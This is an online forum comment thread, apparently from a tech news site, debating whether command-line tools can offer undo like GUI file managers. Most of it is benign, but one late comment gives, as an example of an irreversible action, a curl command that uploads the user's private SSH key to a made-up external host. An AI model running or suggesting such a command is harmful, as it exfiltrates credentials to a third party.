News for hackers. Stuff that matters.
Re:You Don't Need a GUI by xrd on Thursday April 08, 2021 @07:17PM (#26744948)
This is terrific.

But...

GUIs support the concept of undo. It would be great if all shells indicated the command to undo what you just did, and you could turn off that warning message with an environment variable.

And, almost none of these work in the Windows command prompt. I've tried powershell and while there are some great ideas, nothing behaves as I would expect after using bash for 20+ years.

These are the reasons people use the GUI. Without acknowledgement of that, this readme loses some of it's lustre.

Re:You Don't Need a GUI by gpanders on Thursday April 08, 2021 @08:01PM (#26745268)
Undoing isn’t a feature of a GUI though, but rather running in a context that maintains history/state. There’s no reason a command line program couldn’t do something like this in theory.
Re:You Don't Need a GUI by lupire on Thursday April 08, 2021 @08:12PM (#26745347)
It's been 50 years.

Why doesn't bash in a friendly system like Ubuntu have undo for mv.

Re:You Don't Need a GUI by aidenn0 on Friday April 09, 2021 @01:24AM (#26747003)
You can't undo a file-move in (most?) GUI file managers either.
Re:You Don't Need a GUI by d110af5ccf on Friday April 09, 2021 @04:18AM (#26747960)
Windows Explorer, macOS Finder, KDE Dolphin, and GNOME Nautilus all beg to differ.

The issue is that tasks on the CLI tend to be split between many different utilities. So you'd either need a standardized method for sharing an undo tree between the different utilities, or alternatively to integrate all the different tasks under a single program.

Re:You Don't Need a GUI by aidenn0 on Friday April 09, 2021 @12:13PM (#26752390)
I didn't see how this could work in the general case and indeed it doesn't on dolphin. Consider this folder tree:

  + foo
  +- bar.txt
  + bar
  +- bar.txt
Moving the foo/bar.txt to bar/ in Dolphin then undoing leaves you with an empty bar/
Re:You Don't Need a GUI by d110af5ccf on Friday April 09, 2021 @04:24PM (#26755636)
Yeah there are definitely a lot of edge cases when it comes to filesystem operations. It works for the simple stuff though (ex accidentally grabbing the wrong file or dropping it in the wrong folder).

I mostly just use Ranger in a VTE to be honest. Cut/Copy/Paste and directional navigation of a tree using standard Vim keybindings is just more fluid than anything with a mouse could ever hope to achieve. Add to that dropping to the shell with `S` with my hands already on the keyboard and it's by far the best workflow I've come across.

Re:You Don't Need a GUI by aidenn0 on Friday April 09, 2021 @04:53PM (#26756008)
Ranger is great; I do wish it had the ability to have windows rather than just tabs; it would be easy enough to setup an orthodox style view if that were the case.
Re:You Don't Need a GUI by aidenn0 on Friday April 09, 2021 @04:02PM (#26755374)
To late to edit my other reply, but the fact that I use 3/4 of those regularly and didn't know they had that feature is possibly a point against "discoverability" being something GUIs naturally have.
Re:You Don't Need a GUI by inb4_cancelled on Friday April 09, 2021 @02:49AM (#26747408)
macOS and AFAIK Windows have that
Re:You Don't Need a GUI by anthk on Thursday April 08, 2021 @11:08PM (#26746291)
Because that's not bash' job.
Re:You Don't Need a GUI by calvinmorrison on Thursday April 08, 2021 @09:20PM (#26745787)
alias undo=mv $2 $1
Re:You Don't Need a GUI by dyingkneepad on Friday April 09, 2021 @12:42AM (#26746805)
Doesn't work if the first move overwrote a file, or if $2 is a directory.
Re:You Don't Need a GUI by sellyme on Thursday April 08, 2021 @09:23PM (#26745803)
> There’s no reason a command line program couldn’t do something like this in theory.

Which makes it all the more infuriating to the user that they don't.

Re:You Don't Need a GUI by bch on Thursday April 08, 2021 @08:08PM (#26745316)
No need to be abstract and think of “theory”. Vim for example has undo.
Re:You Don't Need a GUI by hsitz on Thursday April 08, 2021 @09:11PM (#26745743)
Yep, Vim is the first thing to come to mind. I'm not sure there's any program with better undo-ability.

I also am not quite sure what the post above means by "GUIs support undo". Yes, most apps,e g., on Windows, support CTRL-Z for undo. But this functionality depends on each app implementing its own undo, nothing OS-wide, and results will vary. I'm not sure what there is in GUIs that supports "undo" other than an app/user convention like CTRL-Z, which hardly seems to rise to the level of "supports undo".

Re:You Don't Need a GUI by hnjst on Thursday April 08, 2021 @10:41PM (#26746153)
There are plenty of commands that essentially cannot be undone. Let's consider `curl --upload-file ~/.ssh/id_rsa https://dontworry.youllundothat.tk` for example.

Even when it's doable, some of us prefer to risk unrecoverable mistakes if it avoids having to take an extra step for the command we launched to be effective. I don't want to "empty a bin" after a `rm`, I want free disk space, and yeah, it could be almost impossible to undo.

I understand that safeguards around destructive actions or actions cancellation can help UX, however at some point you can't make an omelet without breaking eggs.